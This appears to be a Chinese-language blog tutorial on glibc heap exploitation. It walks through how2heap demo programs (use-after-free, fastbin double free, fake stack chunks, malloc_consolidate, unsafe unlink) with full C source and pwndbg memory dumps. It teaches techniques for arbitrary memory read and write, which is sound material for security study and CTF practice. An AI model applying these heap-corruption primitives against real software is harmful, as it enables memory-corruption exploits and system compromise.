通过 how2heap 复习堆利用
Educational Heap Exploitation
how2heap这是由 shellphish 团队创建的一个仓库,是用来学习堆利用技术广为周知的地方。 且主要针对 glibc
0x01 first_fit
Source:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
fprintf(stderr, "This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.\n");
fprintf(stderr, "glibc uses a first-fit algorithm to select a free chunk.\n");
fprintf(stderr, "If a chunk is free and large enough, malloc will select this chunk.\n");
fprintf(stderr, "This can be exploited in a use-after-free situation.\n");
fprintf(stderr, "Allocating 2 buffers. They can be large, don't have to be fastbin.\n");
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
fprintf(stderr, "we could continue mallocing here...\n");
fprintf(stderr, "now let's put a string at a that we can read later \"this is A!\"\n");
strcpy(a, "this is A!");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "We don't need to free anything again. As long as we allocate less than 512, it will end up at %p\n", a);
fprintf(stderr, "So, let's allocate 500 bytes\n");
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
fprintf(stderr, "And put a different string here, \"this is C!\"\n");
strcpy(c, "this is C!");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "If we reuse the first allocation, it now holds the data from the third allocation.");
}
我们从调试上入手,首先简单对 main 函数下断点。b main
。
程序首先创建了两个 chunk,size分别为 512 和256。然后向chunk a 分别写入字符串 'this is A' 。
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x2141,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x2141
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is A!"
0x60201b: ""
0x60201c: ""
0x60201d: ""
0x60201e:
这个时候我们把 chunk A free掉。由于chunk A 大小为 512 不适于 fastbins 系统会将这个chunk 放入unsortedbin。
基本来源:
- 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
- 释放一个不属于 fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于top chunk的解释,请参考下面的介绍。
- 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。
基本使用情况
- Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin 的头部,取出的时候从链表尾获取。
- 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。
当程序再一次 malloc 一个大小与我们 free 掉的chunk 大小差不多的 chunk ,系统会优先从 bins 里找到一个合适的 chunk 把他取出来再使用。写入'this is C'
Pwndbg> heap
Top Chunk: 0x602320
Last Remainder: 0
0x602000 PREV_INUSE {
prev_size = 0x0,
size = 0x211,
fd = 0x2073692073696874,
bk = 0x7ffff7002143,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
Pwndbg> x/20a 0x602000
0x602000: 0x0 0x211
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
Pwndbg> x/5s 0x602010
0x602010: "this is C!"
0x60201b: "\367\377\177"
0x60201f: ""
0x602020: ""
0x602021: ""
Pwndbg>
Unsortedbin 也被取出。
我们发现在原来 chunk A 的位置 也是chunk C 的位置。为什么用“也”呢?因为如果去打印 chunk A 的指针我们也会打印出 “This is C” 的字符串。
Pwndbg> p &a
$3 = (char **) 0x7fffffffe408
Pwndbg> x/20a 0x7fffffffe408
0x7fffffffe408: 0x602010 0x602220
0x7fffffffe418: 0x602010 0x4008e0 <__libc_csu_init>
0x7fffffffe428: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe438: 0x7fffffffe508 0x1f7b9a488
0x7fffffffe448: 0x400616 <main> 0x0
0x7fffffffe458: 0x873c9590c5edf93b 0x400520 <_start>
0x7fffffffe468: 0x7fffffffe500 0x0
0x7fffffffe478: 0x0 0x78c36aef1c4df93b
0x7fffffffe488: 0x78c37a56d37ff93b 0x0
0x7fffffffe498: 0x0 0x0
Pwndbg> x/20a 0x602010
0x602010: 0x2073692073696874 0x7ffff7002143
0x602020: 0x0 0x0
0x602030: 0x0 0x0
0x602040: 0x0 0x0
0x602050: 0x0 0x0
0x602060: 0x0 0x0
0x602070: 0x0 0x0
0x602080: 0x0 0x0
0x602090: 0x0 0x0
0x6020a0: 0x0 0x0
Pwndbg> p a
$4 = 0x602010 "this is C!"
Pwndbg>
从这我们就会发现 我们去打印 a的内容,a的内容也是‘this is C’。这个就是一个很明显的 use-after-free 漏洞。
uaf 造成原因:
指针free 掉后并没有置0
0x2 fastbin_dup
Tricking malloc into returning an already-allocated heap pointer by abusing the fastbin freelist.
fastbin 机制下的 double free。
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}
在这之前,我们先看一个程序。
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
我们把21 行的注释去掉。编译程序并运行。
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xb74010
2nd malloc(8): 0xb74030
3rd malloc(8): 0xb74050
Freeing the first one...
If we free 0xb74010 again, things will crash because 0xb74010 is at the top of the free list.
*** Error in `./fastbin_dup_double_free': double free or corruption (fasttop): 0x0000000000b74010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x790cb)[0x7fe7c6e7d0cb]
/lib/x86_64-linux-gnu/libc.so.6(+0x82c9a)[0x7fe7c6e86c9a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7fe7c6e8ad8c]
./fastbin_dup_double_free[0x400740]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7fe7c6e243f1]
./fastbin_dup_double_free[0x40054a]
======= Memory map: ========
当我们运行程序后,程序发生了明显的报错,这是一个典型的 double free 。意味通常而言,一个已经 free 掉的 chunk 是不能被 free 第二次的。然后我们把原本的注释加上。
17 fprintf(stderr, "Freeing the first one...\n");
18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
然后重新编译。gcc -g -no-pie fastbin_dup.c -o fastbin_dup
并上调试器。
首先程序 malloc 了三个 chunk 。
Pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0x0,
size = 0x20fa1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后 free(a)
15 fprintf(stderr, "3rd malloc(8): %p\n", c);
16
17 fprintf(stderr, "Freeing the first one...\n");
► 18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
free(b)
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
► 26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
27 free(a);
这个时候,fastbin 形成一个 fastbin freelist
Pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
chunk A ---> chunk B
然后我们再把 a free 一次
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
► 27 free(a);
28
29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
我们发现这次并没有发生报错。形成了如下的 free list。
Pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
————— ————— —————
|Chunk A| -> |chunk B| -->| chunk A|
————— ————— —————
/\ |
| ------------- -------
大概如上个图,这样我们就成功绕过了 fastbins 的double free检查。原因如下:
fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
0x3 fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
通用的,编译后我们 gdb 挂载程序。
程序通用 malloc 了三个 chunk,紧接着通过 fastbin double free 的操作形成了如下freelist。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
然后呢 我再malloc chunk d
36 unsigned long long *d = malloc(8);
37
38 fprintf(stderr, "1st malloc(8): %p\n", d);
39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
40 fprintf(stderr, "Now the free list has [ %p ].\n", a);
► 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
43 "so that malloc will think there is a free chunk there and agree to\n"
44 "return a pointer to it.\n", a);
45 stack_var = 0x20;
这个时候 程序会从 fastbins 里取一个,由于fastbins 是 LIFO (Last in First out)。 chunk A 会被取出使用。倘若我们这个时候能对 chunk D 进行操作,如 d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
由于 stack_var = 0x20;
这样的定义是在函数内,所以stack_var
的地址将在栈上,通过对指针 d 的操作,我们可以伪造一个 chunk ,并将这个 chunk 放在栈上。
Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')
stack_var = 0x20;
是由于伪造的 chunk 要由 设置size,size的位置位于 地址-0x8的地方。
➜ glibc_2.25 git:(master) ✗ ./fastbin_dup_into_stack
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8
最后效果如上,我们发现当 chunk a 被拿出来后,由于我们伪造了chunk a 的 fd,造成如下效果。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x7fffffffe388 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
这个时候形成如上的链表结构,这个时候当我们再 malloc 一块内存的时候,系统会误以为 是我们 fake 的chunk是free的。他会把这块 chunk 拿出来用。
Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0
0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
小结:对于 fastbins,可以通过 double-free 覆盖 fastbins 的结构,来获得一个指向任意地址的指针。如果我们把这个地址指向 got 地址,如果我们可对 chunk 进行写或者读操作,我们就有了任意地址写 和 任意地址读。
0x04 fastbin_dup_consolidate
我们上一条 0x02 介绍了一个 fast double free 的绕过机制,通过在free 同一个 chunk中的中间插入对另外一个chunk 的free。
free(p1);
free(p2);
free(p1);
这里 shellphish 向我们展示了 large bin 中 mallo_consolidata 机制 fast 对double free 的检查
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
同样的编译后 gdb 挂载运行。
首先是两个malloc
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后释放 p 1,讲他加入到 fastbins中
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> heap
当我们在中插入 malloc(0x400)
创建一个 large bins的时候。
large bins
chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定 大小范围的块。主要保存大小 1024 字节以上的块。
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000
我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size 和size字段都被修改了
Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们可以看看 large bin的分配
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
当分配 large chunk 时,首先根据 chunk 的大小获得对应的 large bin 的 index,接着判断当前分配区的 fast bins 中是否包含 chunk,如果有,调用 malloc_consolidate() 函数合并 fast bins 中的 chunk,并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk,所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。这个时候我们就可以再次释放 p1
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0
这个时候,我们既有fastbins中的 chunk p1 也有small bins 的chunk p2。我们可以malloc两次,第一次从fastbins取出,第二次从small bins中取出。且这两块新 chunk 处于同一个位置。
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010
0x05 unsafe_unlink
Exploiting free on a corrupted chunk to get arbitrary write.
利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。
首先我们创建两个chunk 分别为chunk_0 和chunk_1
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <- chunk 0
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <- chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
紧接着我们假设这个时候我们有堆溢出,可以对chunk 0 进行修改,我们伪造个chunk。由于有P->fd->bk != P || P->bk->fd != P)
这样的检查。我们可以利用全局指针 chunk0_ptr
构造 fake chunk 来绕过它:
我们伪造 fake chunk 的fd 为 chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
我们伪造 fake chunk 的bk 为chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
这个时候
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x603020: 0x0000000000602058 0x0000000000602060 fd ,bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 <-- prev_size
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
Pwndbg> x/5gx 0x0000000000602058
0x602058: 0x0000000000000000 0x00007ffff7dd2520 <-- fake chunk FD
0x602068 <completed.7557>: 0x0000000000000000 0x0000000000603010 <-- bk pointer
0x602078: 0x0000000000000000
Pwndbg> x/5gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2520 0x0000000000000000 <-- fake chunk BK
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000 <-- fd pointer
0x602080: 0x0000000000000000
Pwndbg> heap
这样就就会变成我 fake chunk 的 FD 块的bk指向 fake chunk, fake chunk 的BK 块 的fd指向fake chunk ,这样就能绕过检查。
另外利用 chunk0 的溢出漏洞,通过修改 chunk 1 的 prev_size
为 fake chunk 的大小,修改 PREV_INUSE
标志位为 0,将 fake chunk 伪造成一个 free chunk。
libc 使用 size 域的最低 3 位来 存储一些其它信息。相关的掩码信息定义如下:
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
从以上代码定义可以推断, size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
这样,我们去free chunk1,这个时候系统会检测到 fake chunk是释放状态,会触发 unlink ,fake chunk会向后合并, chunk0会被吞并。
unlink 的操作如下:
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置,这段代码等价于:
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P
这样就通过了 unlink 的检查,最终效果为:
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
最后原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置,这就意味着如果我们能对堆P进行写入,则就有了任意内存写。如果我们能对堆P进行读取,则就有了信息泄露。
